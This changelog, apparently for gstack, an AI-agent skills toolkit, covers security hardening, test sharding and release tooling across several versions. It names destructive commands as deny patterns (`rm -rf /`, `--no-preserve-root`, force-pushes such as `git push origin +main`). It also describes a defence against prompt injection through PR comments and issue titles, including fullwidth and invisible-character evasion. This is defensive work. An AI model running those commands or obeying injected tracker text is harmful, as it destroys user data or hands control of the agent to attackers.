The pre-push secret scanner now catches all-caps database passwords. Persisted browser sessions stay out of git whether or not your repo has a `.gitignore`. The App Store Connect key the release flow mints is scoped to the one app you are shipping, and the exit report tells you it exists and how to revoke it. The iOS test bridge's Release compile-out (shipped in v1.67.0.0) is now pinned by a free-tier tripwire that fails CI on any regression to a platform-only gate. The browser server's Node spawn shim has its `exited`/drain/memory-cap contract back. Bearer-token comparison is constant-time.

### The numbers that matter

Source: a two-wave read-only audit (72 agents, two independent verifiers per finding) plus a four-specialist pre-landing review. Reproduce the headline check with `echo "postgres://admin:${DB_PW:-PROD2026SECRET}@h/db" | bin/gstack-redact` (the shell expands the braces to the real all-caps password; exit 3) and `bun run test`.

| Property | Before | After |
|---|---|---|
| DSN with an all-caps password (`PROD2026SECRET`) at pre-push | passed the HIGH gate | HIGH block (exit 3) |
| `postgresql://USER:PASSWORD@host` doc placeholder | skipped | still skipped (pinned) |
| Persisted session cookies in a `.gitignore`-less repo | git-committable | ignored by construction |
| Minted App Store Connect key scope | every app on the team | the one app being shipped |
| iOS Release compile-out guard (shipped v1.67.0.0) | unpinned | CI tripwire on any regression |
| `await proc.exited` on the Windows Node fallback | resolved `undefined` | resolves the real exit code |
| Loopback bearer-token comparison | byte-by-byte `===` | constant-time |

The one that matters most for a public repo: opt-in browser session persistence kept live cookies and request logs under `.gstack/` inside the working tree. Now a self-contained ignore lands there at setup time, so `git add -A && git push` cannot ship them.

### What this means for you

If you run gstack from a build that pulled in community or fork-ported code, this is the release where someone read all of it and calibrated the guards against real credential shapes, not just placeholders. Run `bin/gstack-egress verify` and `bin/gstack-redact` on your own repos with confidence. The full audit trail and the governance follow-ups (a required-review rule for `main`) are captured for maintainers separately; nothing here changes a command you already run.

### Itemized changes

#### Fixed
- The pre-push credential scanner blocks a DSN whose password is a real all-caps secret (`PROD2026SECRET`-style) at the HIGH tier. The `USER:PASSWORD` documentation convention still suppresses, pinned in both directions with a table-driven test over the full placeholder set. (`lib/redact-patterns.ts`)
- The browse state directory (`.gstack/`) carries a self-contained `.gitignore` written unconditionally when the directory is created, so persisted `session-state.json` cookies and `browse-network.log` / `browse-audit.jsonl` request headers can never be committed, regardless of the project's own `.gitignore`. (`browse/src/config.ts`)
- The Node `Bun.spawn` polyfill regains its `exited` promise, eager stdout/stderr drain, and 16MB output cap, restoring correct child-process handling on the Windows Node fallback (cookie import, browser-skill children). (`browse/src/bun-polyfill.cjs`)
- The iOS QA touch bridge's Release compile-out (the `#if !defined(DEBUG)` short-circuit plus the `cSettings` DEBUG define, shipped in v1.67.0.0) is pinned by a free-tier static tripwire: any regression to a platform-only gate, a reordered guard, or a dropped define fails CI on every PR. (`test/ios-debug-bridge-release-guard.test.ts`)
- Loopback bearer-token comparison in the browse server is constant-time. (`browse/src/server.ts`)

#### Changed
- The App Store Connect upload key minted during an Apple release is scoped to the target app (`allAppsVisible:false` with an explicit `apps` relationship) instead of every app on the team, and the release exit report discloses the key and its revocation path. (`ship/sections/apple-release.md`)
- `gstack-egress verify` documents that ledger truncation and deletion are out of scope for the forensic-observability threat model. (`bin/gstack-egress`)

#### For contributors
- New regression guards pin each security property against a silent revert: a static tripwire for the constant-time `validateAuth`, a table-driven suppression test over the exported `URL_PASSWORD_PLACEHOLDER_WORDS`, an unconditional-write test for the state-dir ignore, a static tripwire for the iOS Release compile-out, and the restored `Bun.spawn` contract tests.

## [1.67.0.0] - 2026-08-16

**The tracker wave: browse survives macOS, installs are complete,**
**memory sync never drops a record. 30 contributors landed.**

This release mines the full issue tracker and community PR queue. Browse now
classifies a macOS XProtect kill at Chromium launch and heals itself. It
clears the quarantine flag, reinstalls the pinned browser revision from the
right install root, and retries, all bounded and logged. Fresh installs link
every runtime asset a skill references, so /review and friends work on a
clean machine the first time. Brain-sync's queue is drained with a classified
disposition. Privacy-held records are retained and labeled, a failed push
keeps its commit and re-delivers it on the next run, and the retry only ever
publishes commits it authored itself. Twenty-five community PRs landed with
credit, and roughly thirty-five issues close on merge.

### The numbers that matter

From the wave's gate eval run (`bun run eval:bg:gate`, log in
`~/.gstack-dev/eval-runs/`) and the free suite (`bun run test`) at HEAD.

| Metric | Before | After | Δ |
|---|---|---|---|
| Browse launch on macOS 26 (XProtect kill) | manual reinstall | classified + self-healed | automatic |
| Skill runtime assets on a fresh install | SKILL.md + sections only | every referenced asset | /review works day one |
| Brain-sync queue at a push failure | truncated | retained + re-delivered | no data loss |
| Detector push with an interleaved user commit | published it | refuses | author boundary holds |
| Gate evals | 41/43 | 43/43 | both reds root-caused |
| Free suite | — | ~7,000 tests, ~90-100s | green at HEAD |

The brain-sync row is the one to internalize: the queue is only ever rewritten
by subtracting the exact records that were staged, against a live re-read, so
a record enqueued mid-drain survives to the next boundary.

### What this means for gstack users

Upgrade and the three most-reported failure classes disappear: browse comes
back on macOS without touching a terminal, a teammate's first `./setup`
produces working skills, and your cross-machine memory stops silently thinning
under flaky networks. If you filed one of the ~35 issues this closes, your
repro is now a regression test with your name on the commit.

### Itemized changes

#### Fixed — the three P0s

- **Browse dead on macOS (#2554).** Playwright pinned to 1.62.1 (split from
  dependabot #2582), plus an XProtect kill-signature classifier with positive
  AND negative fixtures, a one-shot quarantine-clear + bounded (~120s,
  process-group-killed) reinstall from the gstack install root that pins the
  matching Chromium revision, structured heal logging, and an upgrade-time
  quarantine-clear + reinstall in `setup` for already-poisoned caches. The
  heal resolves the install
  root via `os.homedir()` and keeps its manual-remediation guidance even when
  the post-heal retry fails.
- **Fresh installs missing runtime assets (#2317, #2454).** `setup` links
  every runtime asset with an explicit exclusion list (node_modules, dist,
  *.tmpl, test, hidden), pinned by a two-class referenced-paths test:
  alias-relative references must exist under the installed alias, repo-anchored
  ones in the tree modulo a reasoned dist/ allowlist.
- **Brain-sync data loss (#2549).** Queue records are classified at drain
  time: skip-filtered and nonexistent drop WITH counts (full paths in a 0600
  sidecar), privacy-held records are retained and labeled instead of being
  wiped as "no allowlisted changes", unparseable lines are preserved, and the
  rewrite subtracts the staged set from a LIVE re-read so concurrent enqueues
  survive. A failed push keeps its commit; a run-start detector re-delivers it
  — receipted, locked, throttled to one attempt per 10 minutes, bounded by
  git's low-speed limits (portable to stock macOS), and gated to fire only
  when EVERY unpushed commit is its own, so an interleaved manual commit in
  ~/.gstack is never auto-published. The sync lock releases on every exit
  path, including interrupts mid-push.

#### Fixed — browse & daemon lifecycle

- A healthy daemon is never killed by `browse start` (the #2219 iron rule):
  a total-budget health probe answers in ~8s, busy daemons get "retry or
  --force-restart" plus a nonzero exit, and only an explicit `--force-restart`
  ever kills an alive pid — pinned by a regression test. `browse stop` on a
  dead daemon short-circuits to success (#2254); `/gstack-upgrade` defers to a
  busy daemon and prints the escape hatch (#2551).
- Chromium no longer dies with the terminal: signal handling moved off
  Playwright's defaults at all three launch sites with a SIGHUP handler
  routing through the real shutdown path, and a tripwire pinning the count.
- The terminal-agent allocates from the same fixed port range as the daemon
  (#2314) — and that range now ends at 49151, actually below the macOS
  ephemeral pool it exists to avoid; boot retries a raced bind instead of
  dying. Windows terminal-agent leaks fixed via `process.kill(pid, 0)`
  liveness (#1952) and the error-handling helpers. Contributed by @SYKhayyat
  (#2414).
- Daemon crash logs persist without tokens or unsanitized page content
  (needle-tested). Contributed by @phuttimatebenchanakatkul (#2461).
- The dead security-shield surface was removed end to end (−272 net lines) while
  the live L4 sidecar path keeps its status endpoint — docs updated in the
  same commit. Contributed by @frederik-kaster-noygear (#2557, with the
  pipe-capture core from #2559). CDP `Emulation.setEmulatedMedia` joins the
  allowlist — contributed by @meshailabs (#2419). Windows gbrain probe
  timeout — contributed by @vaston-viji (#2450). `browse/dist` mkdir —
  contributed by @guyua9 (#2542).
- First `patchedDependencies` entry: playwright-core's two Windows spawn
  sites carry `windowsHide` (#2160, #1989), statically pinned and
  independently revertable.

#### Fixed — install & setup correctness

- Root-alias skills install as rewritten copies, never symlinks whose edits
  would corrupt generated sources (#2511, #2201). Windows re-runs refresh
  real-directory installs (#2444), and uninstall deletes only directories
  that pass BOTH the inventory match and the generated-banner provenance gate,
  listing (never deleting) anything else (#2563).
- `--host cursor` gets the full install slice — contributed by @szsunyuan
  (#2547). Settings-hook dedup includes the command (#2382) — contributed by
  @gregario (#2431). `:user` renders route through `--out-dir` (#2569) with a
  migration that cleans legacy in-place render dirt. setup-gbrain invocation
  paths fixed (#2250) — contributed by @SomSamantray (#2409). Office-hours
  installs into codex/factory/opencode runtime roots (#2449).
- The redact pre-push hook stays opt-in but its fail-open gaps are closed,
  with a one-time consent prompt (#1946). Skills-timeline Stop hook ships
  fail-open (always exit 0, 2s budget) with setup registration (#2553).
- iOS QA: DebugBridgeTouch compiles out of Release builds — contributed by
  @Bastea (#2585); front-most bridge ordering — contributed by @IDSTUK
  (#2397); compat preflight docs — contributed by @itstimwhite (#2581).

#### Fixed — memory & gbrain

- Windows slug resolution and the decisions.jsonl allowlist (#2396) —
  contributed by @source-utsho (#2561). Brain-sync arithmetic-injection
  guard — contributed by @sneakygriff (#2588). Windows bash routing for
  brain-sync/gbrain — contributed by @ShahriarLak (#2510), extended to every
  gbrain-sources spawn (#2471). `--full` walks the full tree — contributed by
  @ShahriarLak (#2406). Honest "missing" from brain-cache — contributed by
  @sneakygriff (#2587). Memory-ingest parses both codex rollout shapes and
  stages outside GSTACK_HOME (#2105, #2104).
- gbrain detection: engine-locked is a healthy status (#2456), bearer-token
  thin clients are recognized (#2520), GBRAIN_HOME gets its .gbrain segment
  (#2521), project-scoped MCP registrations are honored (#2499). Source pins
  respected — contributed by @exGeni (#2417); `--dry-run` works offline
  (#2536) — contributed by @CarringtonCreative (#2540); bun-on-npm PATH
  guidance (#2487); dream-stage classifier anchored (#2341).

#### Fixed — version tooling, diff-scope, redaction

- VERSION stays the 4-digit source of truth; package.json carries the
  npm-valid 3-digit translation, lockfiles sync only when they already exist,
  and drift is judged on translated forms. Built on re-derived work
  contributed by @YiftahR (#2501), @ortonom (#2568), and
  @CarringtonCreative (#2531, #2545). Pinned repos compare base and current
  against the SAME file (#2462). JSON version-paths get honest per-file
  recovery messages. The path pins (`.gstack/version-path`,
  `.gstack/package-json-path`) cannot escape the repository — absolute paths,
  `..` traversal, and symlink escapes are all refused, and a lockfile
  symlinked outside the repo is skipped with a warning.
- Diff-scope covers api/*, migrations/*, and db/data, with a no-match exit
  code and uncommitted-work handling (#2526, #2455, #2299). Redact scans the
  merge-base range and knows parcel IDs are not phone numbers — contributed
  by @Two-Six-Alpha-1115 (#2592, #2591); rebased force-pushes are scanned
  correctly, proven by test (#2573).
- The codex model probe caches its verdicts both ways: a working model for an
  hour, a deterministic model-400 for 15 minutes (editing config.toml
  re-probes immediately) — so the affected account stops paying a 30s round
  trip per review section (#2477). Its timeout wrapper now enforces the
  deadline with a bash-native watchdog on stock macOS, where no timeout
  binary exists.

#### Fixed — templates & everything else

- Skills running under Codex skip the nested codex specialist with a printed
  notice (#2519). Codex web-search flag unified behind one resolver constant
  across 19 sites (#2525). Slugs are sanitized in every path position
  (#2550) — with groundwork contributed by @harjothkhara (#1851). AGENTS.md
  routing probe — contributed by @gamerey43 (#2500); empty-find fallthrough
  killed — contributed by @tranthanhnhatkhoa (#2483); cygpath MSYS builds —
  contributed by @chiragborse1 (#2452). /ship's review army loops until clean
  (#2391). Question-registry path is absolute (#2489). Retro glob (#2552),
  capability-check temp file (#2503), repo-mode stat order (#2195), hover doc

## [1.66.1.0] - 2026-08-16

**Every claim gstack makes now binds to the content it was made on.**
**Tracker text is data. Guard hooks actually guard.**

Reviews and test results used to be prose claims: "review is recent" meant a commit-count guess that a rebase could crash, and "tests passed" meant trusting output from a tree that may have changed since. Both now carry a working-tree content fingerprint (`bin/gstack-wtree`, ~0.2s). A review of identical content grades CURRENT through rebases, amends, and squashes. A test run recorded by the new `bin/gstack-evidence` ledger stays citable at /ship's verification gate only while the content is byte-identical (release files carve out), the command hash matches, and nothing edited the tree mid-run. /ship and /land-and-deploy cite fresh evidence instead of re-running, and re-run live when anything moved.

PR bodies, PR comments, and model-judged issue titles now enter agent context only through a trust envelope (`bin/gstack-issue-guard`): content is data even when clean, injection-shaped lines get labeled through fullwidth and invisible-character evasion, forged envelope banners are defused, and a CI scanner fails the suite on any raw tracker-text read at all 8 ingress points. Write-backs keep a raw artifact so envelope markup can never reach a live PR.

/freeze now fails closed: unparseable payloads, quote or newline paths (the deny used to silently no-op on them), boundaries with spaces, symlinks pointing outside the boundary, and a broken install all block instead of passing. /careful gains a hard-deny tier for `rm -rf /`-class deletes and force-pushes to the default branch — including the flag-less `git push origin +main` form and quoted or refspec targets — plus additive-only custom warn patterns that can never weaken the built-ins.

### The numbers that matter

Measured on this branch; re-run with `bun test`, `time bin/gstack-wtree`, and the commands in each bin's header.

| Metric | Before | After | Δ |
|---|---|---|---|
| Review staleness on rebased/amended identical content | crash or STALE | CURRENT | correct |
| "Tests passed" binding | none (prose) | content fingerprint + command hash + max-age | new |
| Tracker-text ingress points enveloped | 0 | 8, CI-scanner enforced | new |
| /freeze deny on hostile/edge paths | silent no-op | blocks, fail-closed | fixed |
| Working-tree fingerprint cost | — | ~0.09s warm (stat-cache seeded, 40x vs naive) | new |
| Adversarial findings fixed pre-merge | — | 50 (4 specialists + red team + fresh-context pass), 6 critical | — |

The fingerprint survives commits of identical content, so the common flow — test on a dirty tree, commit, ship — keeps its evidence valid, while one untracked new source file invalidates it.

### What this means for you

/ship stops re-running suites the content already proved green and stops trusting suites the content has outgrown — the IRON LAW is now a mechanical check, not an honor system. A hostile PR comment can no longer speak to your agent with authority, and /guard's boundary actually holds on the paths where it used to silently fail. Nothing to configure: the bins ship wired into /ship, /land-and-deploy, /review, /spec, and /document-release.

### Itemized changes

### Added
- `bin/gstack-wtree` — working-tree content fingerprint (temp-index, stat-cache-seeded; identical hash to a full re-hash at ~40x less cost).
- `bin/gstack-evidence` — verification-evidence ledger: `run` wraps any command transparently (exit code always passes through; 0600 per-run logs with 2MB cap and 30-day prune; HIGH credentials in commands stored redacted; mid-run tree edits void the fingerprint) and `check` grades FRESH/STALE/MISSING per label with `--expect-cmd`, `--max-age`, and `--allow-paths` binding.
- `lib/tracker-guard.ts` + `bin/gstack-issue-guard` — trust envelope for tracker text: envelope-always, detection-only NFKC + full Unicode format-character sweep, banner-forgery defusal, no-envelope-on-fetch-failure, numeric argv validation.
- `/careful` HIGH tier (hard deny: root/home recursive deletes incl. `--no-preserve-root` and `/*` forms; default-branch force-pushes incl. plus-refspec, refspec-colon, and quoted targets; simple commands only, `--force-with-lease` never matches) and additive-only project warn patterns (`~/.gstack/careful-patterns.txt`, per-project variant).
- CI wiring scanner (`test/tracker-guard-wiring.test.ts`) failing the suite on raw tracker-text reads outside the guard, with reasoned, liveness-checked exemptions; template-drift tripwire pinning the grading rules and the write-side banner tripwire.

### Changed
- Review records (`bin/gstack-review-log`) stamp `commit_full`/`tree`/`dirty`/`wtree` authoritatively — caller-supplied binding fields are ignored; `bin/gstack-review-read` emits `---WTREE---`/`---TREE---`/`---DIRTY---`; the /ship dashboard and /land-and-deploy grade diff-scoped reviews content-first (plan-tier reviews keep time-based logic), and a rebased-away commit grades UNKNOWN instead of erroring.
- /ship Step 5 test lanes run wrapped with per-lane labels and per-run logs (no shared /tmp collisions between concurrent ships); Step 16 and /land-and-deploy 3.5b check the ledger first and cite fresh evidence, advisory-never-blocking.
- /document-release PR/MR body updates use a two-artifact flow (enveloped copy for reading, raw copy for the splice-and-write-back) with a banner tripwire that compares against the fetched original.
- /spec issue-title dedupe reads titles through the envelope and distinguishes pipeline failure from zero matches instead of silently skipping.

### Fixed
- /freeze: five boundary defects — deny JSON silently no-oped on quote/newline paths, internal spaces in the boundary path were stripped (space-bearing project dirs could never match), symlink final components weren't resolved (in-boundary symlink wrote outside the boundary), the JSON extractor truncated at escaped quotes and failed open, and a missing helper file passed edits through instead of blocking.
- /careful and /freeze now share one JSON extractor and one analytics writer (both honor `GSTACK_HOME`), ending the two-copy drift that let one hook keep a bug the other had fixed.

### For contributors
- `test/helpers/scratch-repo.ts` — shared hermetic git fixture (identity pinned, gpg signing disabled so fixture commits never invoke the operator's gpg-agent) and a PATH `gh` shim for exercising real gh success/failure branches.
- ~150 new tests across six files, including the keystone case: evidence recorded on a dirty tree stays FRESH after committing the exact tested content.

## [1.66.0.0] - 2026-08-15

**The full ~7,000-test suite in about 90 seconds, verified honest.**
**Paid evals now bill by diff, not $38 flat.**

`bun run test` used to take 454 seconds. It now runs as up to six concurrent shard processes and finishes in about 90 to 100 seconds, under a strict output contract: a shard that exits without bun's own terminal summary line is a failure, a wedged shard is killed at a size-scaled deadline and named in the epilogue, and the console shows only what you need (per-shard status, then `✗ file — test name` for anything red, full stream in a per-run log, `--verbose` for the firehose). Twelve test files that ran under no script and no CI are wired in. A 3,372-line dead eval monolith is deleted, with four never-run tests revived out of it.

Paid evals select by diff. Edit one skill and the runner executes only the shards your change touches, reports the rest as skipped-by-diff, and prints the reason. Selection sees uncommitted and untracked work, fails closed with a named cause on git errors, and an edit to the selection data itself re-runs only the changed keys instead of forcing the full suite.

### The numbers that matter

Measured on this branch. Re-run with `time bun run test` and `bun run eval:select`; eval receipts live in `~/.gstack-dev/evals/`.

| Metric | Before | After | Δ |
|---|---|---|---|
| Free suite wall clock (~7,000 tests) | 454s | ~90-100s, strict-verified | ~4.7x |
| Free-test files with Linux CI coverage | 0 | ~420, as a required PR check | new |
| Paid cost of a one-skill edit | ~$38 (full suite) | 4 of 45 shards, $0.67 | ~57x |
| Slowest CI eval job | 741s, one serial file | three jobs, each under ~250s | ~3x |
| Paid retry amplification | `--retry 2`, +84% measured | `--retry 1` | half |

The $0.67 row is a live rehearsal, not a projection: a scratch edit to `qa/SKILL.md.tmpl` selected 17 of 177 tests, ran 4 of 45 shards, skipped 41 by diff, and the /qa E2E passed.

### What this means for contributors

Runs you used to schedule around now fit inside a thought. `bun run test` before every commit is a real habit again at ~90 seconds, red names the exact test, and green means every file actually ran. Fork PRs get true test signal from the new secretless Linux lane. Ship a change and the eval bill tracks your blast radius.

### Itemized changes

### Added
- Linux free-tests CI lane (`.github/workflows/free-tests.yml`): the whole free suite on every PR and every push to main, required from day one, zero secrets, least-privilege token, failure logs uploaded as an artifact, wiring pinned by `test/free-tests-workflow-wiring.test.ts`.
- Diff-based paid-shard selection: parent-side skipping with a `skipped-by-diff` taxonomy and a selection banner naming the reason (`scripts/test-paid-shards.ts`).
- Map-diff selection for the selection data itself: editing `test/helpers/touchfiles-data.ts` re-runs only added/changed/retiered keys (old version evaluated via `git show` + a bun child; adversarial fixtures in `test/touchfiles-map-diff.test.ts`).
- Selection unions committed, staged/unstaged, and untracked changes; git failures throw naming `EVALS_ALL=1` (fail closed), and non-ASCII filenames select correctly (`core.quotePath=false`).
- `test/helpers/skill-fixture.ts`: E2E fixtures extract the SKILL.md sections a test needs instead of copying 1,800-line files — nine fixture sites cut 58-97%.
- `GSTACK_EVAL_MODEL_JUDGE` env override for the LLM-judge model; eval model resolution centralized in `lib/eval-model.ts` with per-kind `GSTACK_EVAL_MODEL_<KIND>` overrides.

### Changed
- Free suite architecture: N concurrent shard processes (serial within each); tree-mutating tests and tree-measuring ratchet readers run in one serial shard after the parallel phase, so measurements never race regeneration. Shard curation lists are pinned against the live file census, and wall deadlines scale with shard size.
- Agent SDK capture default Opus → Sonnet (D1a). The judge default stays Sonnet: a live A/B on the health rubric scored Haiku 2/2/2 against Sonnet's 4/3/4, so the downgrade was pinned back per D1a's regressor clause (receipts in `test/helpers/llm-judge.ts`).
- Four expensive posture tests demoted gate → periodic (D2a).
- Paid runners: `EVALS_JOBS` (shard process count) split from `EVALS_CONCURRENCY` (within-shard), `--retry 1` on every retry-bearing paid path, one preflight API ping per run instead of ~30, detach timeouts floor-enforced against the live shard census by `test/eval-detach-timeout-floor.test.ts`.
- CI: eval Docker image cache keyed on Dockerfile + bun.lock so version bumps stop rebuilding it; Bun 1.3.13 in the image; `skill-e2e-review` split into three matrix shards; actionlint runs a digest-pinned prebuilt image; five single-core jobs right-sized; lint and skill-docs stop double-running every PR commit; the Windows lane caches bun installs and runs the curated suite instead of a hand list.
- Skill-routing E2E fixture installs skill heads, not ~18 full SKILL.md files.

### Fixed
- Ctrl-C actually cancels a run: the signal forwarders now schedule the parent runner's own exit and both shard pools stop launching new work on `SIGINT`/`SIGTERM` — previously the parent killed the current child and kept spawning API-burning shards.
- The intermittent whole-suite wedge: `browse/src/browser-manager.ts` `close()` captures the Chromium child before the close race and SIGKILLs it when graceful close times out, with unit coverage of the fallback.
- The strict-output classifier keeps stdout and stderr line assembly separate, so interleaved pipe chunks cannot hide a failure line or fake a truncation. Windows shard kills take the whole process tree (`taskkill /T`) instead of orphaning grandchildren.
- Redaction calibration: `${var}` template interpolations and ALL-CAPS `USER:PASSWORD` doc placeholders no longer block pushes, while a bare `$word` password and a literal lowercase `password`/`pass` at the URL-password position still do; the two connection-string validators share one helper so they cannot drift.
- Supabase pooler DSNs percent-encode the password segment, `wait --timeout` rejects non-numeric values instead of polling forever, response-body read failures retry as transport errors, and the CLI entrypoint lets stdout drain before exiting.
- The paid-suite preflight fails fast on a missing `claude` binary, a spawn error, or a timeout — outages surface once in the parent instead of once per shard.
- Same-name branches from different forks can no longer cancel each other's CI runs (concurrency groups key on PR number across the free, eval, and Windows lanes).
- Selection integrity: the `touchfiles.ts` facade, `e2e-helpers.ts`, and `paid-test-set.ts` are global touchfiles (an edit to selection-path code can never select zero tests); duplicate touchfiles keys fail the suite; rehomed E2E files list themselves in their own dependency maps; retro E2E passes require the report on disk.
- The intermittent context-save-list eval test that had never passed in 26 recorded runs now passes.
- `variants-retry-after` HTTP-date flake; watchdog E2E 22.7s → 1.5s; supabase-provision tests 16.5s → 0.45s via an in-process TS port.
- `package.json` version drift against VERSION.

### For contributors
- `test:gate:sharded` / `test:periodic:sharded` run tiers through the sharded paid runner; `eval:bg:*` wrap runs in `gstack-detach` with a per-tier watchdog and the machine-wide `gstack-evals` lock.
- Five pre-existing environment failures quarantined individually with in-file receipts; two dead-architecture security contract tests deleted.
- `test/e2e-tier-alignment.test.ts` enforces tier declarations and fails fatally when a sharded-runner mapper cannot see a gate file.

## [1.65.0.0] - 2026-08-14

**/autoplan, /codex on macOS, and memory ingest work again.**
**And every consent gate now means what it says.**

This is the second and final wave of the GStack 2 fork port. Wave one (v1.63.0.0)
took the audit infrastructure; this wave takes the fixes and the features. Three
skills that failed silently on every run now work: /autoplan's task aggregation
emits real tasks instead of zero, /codex creates its temp files on macOS instead
of dying on BSD mktemp, and memory ingest actually imports pages on current
gbrain builds, and prints the count so you can see it. On top of that: your
browser auth can now survive a daemon restart, /ship can take an iOS app from
working tree to Submit for Review, and four supply-chain gates now run on every
PR. Nearly all of it traces back to Sina Matian's time-attack/gstack fork, ported
with tests and attribution.

### The numbers that matter

Source: this branch (`git log 1.63.0.0..HEAD`, `git diff main...HEAD --stat`,
`bun test`), plus the GitHub issues the release closes.

| What | Before | After |
|------|--------|-------|
| /autoplan Phase 4 task output (#2018) | 0 tasks, every run | every task |
| /codex on macOS (#2091) | broken on every install | works |
| Memory ingest on gbrain 0.42+ (#2144) | 0 pages, reported success | full corpus, count printed |
| Headed browse on macOS 26 (#2242) | GPU crash, poisoned cache | launches, heals old caches |
| Auth after a browse daemon restart (#778) | logged out | restored (opt-in) |
| CI secret scanning on PR diffs | none | every PR, fail-closed |
| GitHub issues closed | | 24 |
| Community PRs landed with authorship | | 4 |

The stark one is the first three rows: those aren't degraded features, they were
features returning empty results with a green checkmark. If you ran /autoplan in
the last two months, the task list it handed off was empty and nothing told you.

### What this means for gstack users

Run /autoplan and the pipeline hands real tasks to the executor. Run /codex on a
Mac and it just works. Set `BROWSE_PERSIST_STATE=1` and a daemon restart no
longer logs you out of every site. If you ship an iOS app, `/ship` now knows the
whole App Store journey, session-minted upload keys, the price-schedule API that
replaced the broken fastlane path, error -22938 triage, one authorization moment
instead of five. Upgrade with `/gstack-upgrade`; the migration cleans any
Chromium bundle an older gstack broke and verifies the replacement download
before it claims success.

### Itemized changes

#### Added

- **Opt-in browser session persistence** (#778, #2193): `BROWSE_PERSIST_STATE=1`
  snapshots cookies and tabs (atomic writes, 0600, never page HTML or
  ownership), restores them off the boot path on the next start, and quarantines
  a corrupt snapshot instead of crashing. Portions from time-attack/gstack.
- **Apple App Store release journey for /ship**: `ship/sections/apple-release.md`
  loads before the repo-landing gates when the target is an Apple app. Encodes
  session-minted App Store Connect keys, `appPriceSchedules` over the broken
  fastlane `price_tier`, expanded age-rating attributes, -22938 classification,
  and a one-authorization-moment flow. Refined across 21 live releases on the
  fork. Portions copyright Sina Matian, MIT.
- **Code-intelligence provider contract, Phase 1**: `gstack-code-intelligence`
  wraps GBrain, Sourcebot, and Graphify behind one interface with an ask-once
  indexing offer for large repos (1,000+ tracked files, decline persisted).
  Consent is explicit per repo (`consent <repo> yes|no`), the per-repo trust
  policy's deny and read-only tiers veto write-class operations no matter what
  consent was recorded, and every off-machine send writes an egress receipt that
  records the consent state actually checked. Portions from time-attack/gstack.
- **Supply-chain CI**: a quality gate that runs `bin/gstack-redact` over every
  PR diff (HIGH findings fail, MEDIUM annotates), dependency review on
  lockfile changes, weekly OSV scans, grouped dependabot updates, and an
  evidence-bar PR template. Every third-party action in the new workflows is
  pinned to a commit SHA.
- **Third-party web-actions contract** in tier-2+ skills: when a workflow needs
  a vendor-site step (API key signup, OAuth app), gstack offers to drive the
  browser itself, hands credentials and CAPTCHAs to you, stores secrets
  owner-only, and verifies with a read-only call before claiming success.
- **Design docs land in your repo** (#703, #2000): office-hours writes
  `docs/designs/<topic>.md` as a concise decision record (one bullet per
  decision with its why), redaction-scanned before anything touches your git
  history. Plan reviews prefer the repo-local doc when both exist.
- **`gstack-verify-gate`** (opt-in Stop hook): blocks turn-end until the
  CLAUDE.md-declared verify command passes. A command runs only after you trust
  it once per repo (`--trust`), re-trust is required when it changes, every
  grant is audit-logged, and re-entries re-run the check instead of waving it
  through.
- **"Never show me these again"** for the founder-resources pitch (#538): the
  opt-out verifies its own config write before promising anything. Re-enable
  with `gstack-config set founder_resources true`.
- **Claimed limitations need evidence**: every tier-2+ skill now treats "the
  API can't do this" as a material claim requiring the verbatim error, the
  documented statement, or a live probe, and runs the ten-second check before
  declaring anything blocked.

#### Fixed

- **/autoplan Phase 4 emitted zero tasks on every run** (#2018): a jq context
  rebind dropped every aggregated task; the error was hidden by stderr
  suppression. Six-fixture regression suite pins it.
- **/codex was broken on every macOS install** (#2091): BSD mktemp rejects
  suffixed templates; all temp files now use portable templates and a static
  test bans the pattern repo-wide.
- **Memory ingest imported nothing on gbrain 0.42+** (#2144): the staging dir
  sits under a gitignored tree, so git-aware collectors saw zero files. Fixed
  with `--include-gitignored` (community PR #2560) plus a `GIT_CEILING_DIRECTORIES`
  second layer, Windows-safe, and a loud ingested-page count.
- **Headed mode on macOS 26** (#2242, #2138, #2139): gstack no longer rewrites
  the signed Chrome-for-Testing bundle (the rebrand broke its code signature;
  GPU processes refused to start). Launch self-heals poisoned caches, on both
  headed entry points, by removing the whole revision directory so the re-fetch
  actually re-downloads, and the upgrade migration does the same for existing
  installs, verifying a working Chromium exists before recording success.
  Branding stays on the GStack Browser wrapper app.
- **`browse stop` restarted the daemon it was told to stop**: the CLI now gets
  an acknowledgment before shutdown, and the shutdown snapshot has a hard
  deadline so a wedged page can never hold the port.
- **Session cookies from internal networks never reach a restored browser**:
  the restore-time hygiene filter drops loopback and link-local IP literals
  (127.0.0.1, ::1, 169.254.*) alongside localhost and *.internal, shared by
  both the persistence path and `state load`.
- **ios-qa stopped handing out raw bearer tokens**: `/auth/sessions` returns
  salted-hash token ids with revoke-by-id support, the boot token left os_log
  entirely, and the IPv4 listener pins to loopback at the socket.
- **make-pdf's no-network promise holds against obfuscation**: `<style>`
  @import, inline style URLs (quoted, unquoted, CSS-escaped, and
  HTML-entity-encoded), srcset, and media sources are all neutralized when
  rendering untrusted HTML without `--allow-network`.
- **pair-agent tunnels are consent-gated** (`gstack-config set pair_agent on`):
  the tunnel cannot start without the recorded opt-in, the receipts that always
  claimed consent now reflect a check that exists, and a disabled gate tells
  you the real remedy instead of ngrok install instructions.
- **The per-repo gbrain trust policy is enforced at the code-import chokepoint**
  (#2140, sync path): deny refuses, read-only skips code ingest, an unreadable
  policy store fails closed, and the egress receipt names the decision.
- **Handoff no longer disarms the tunnel-orphan reaper** (community PR #2565
  plus hardening): promoting a daemon to headed suppresses only the
  headed-shutdown branch; a daemon with an active tunnel still dies with its
  parent.
- **Windows**: broken DACLs on state dirs self-repair (#1605), every
  Windows-reachable spawn passes windowsHide (#1835, community PRs #2523 and
  #2539), and decision files no longer land under a project named "unknown".
- **Setup no longer hangs on first run** (#2136): the Chromium probe gets a
  90-second deadline that reaps the whole wedged process tree, installs are
  single-flight across concurrent setups, and EXIT cleanup traps chain instead
  of clobbering each other.
- **Paper cuts**: `gh pr edit` falls back to the REST API when the
  Projects-classic GraphQL deprecation bites (#1079); the v1.27 migration never
  auto-proceeds without a TTY and never records a failed rename as done
  (#1383); model benchmarks recognize macOS Keychain auth (#1890); voyage
  embedding flags survive zsh (#1798); `--supersede` keeps the replacement
  decision it was given; brain context no longer disables itself after one slow
  cold-start probe; lock acquisition reports the real error instead of phantom
  contention (#1084); plan verification probes the dev server your project
  declares instead of a hardcoded port list.

#### Changed

- **Telemetry defaults to off everywhere**: the browse daemon now reads the
  same persistent consent the rest of gstack does; an absent key means
  disabled, matching `gstack-config get telemetry`.
- **Test-command detection covers Django and config-less projects**: a working
  `manage.py test` or `*_test.go` suite is recognized instead of being offered
  a bootstrap it doesn't need.
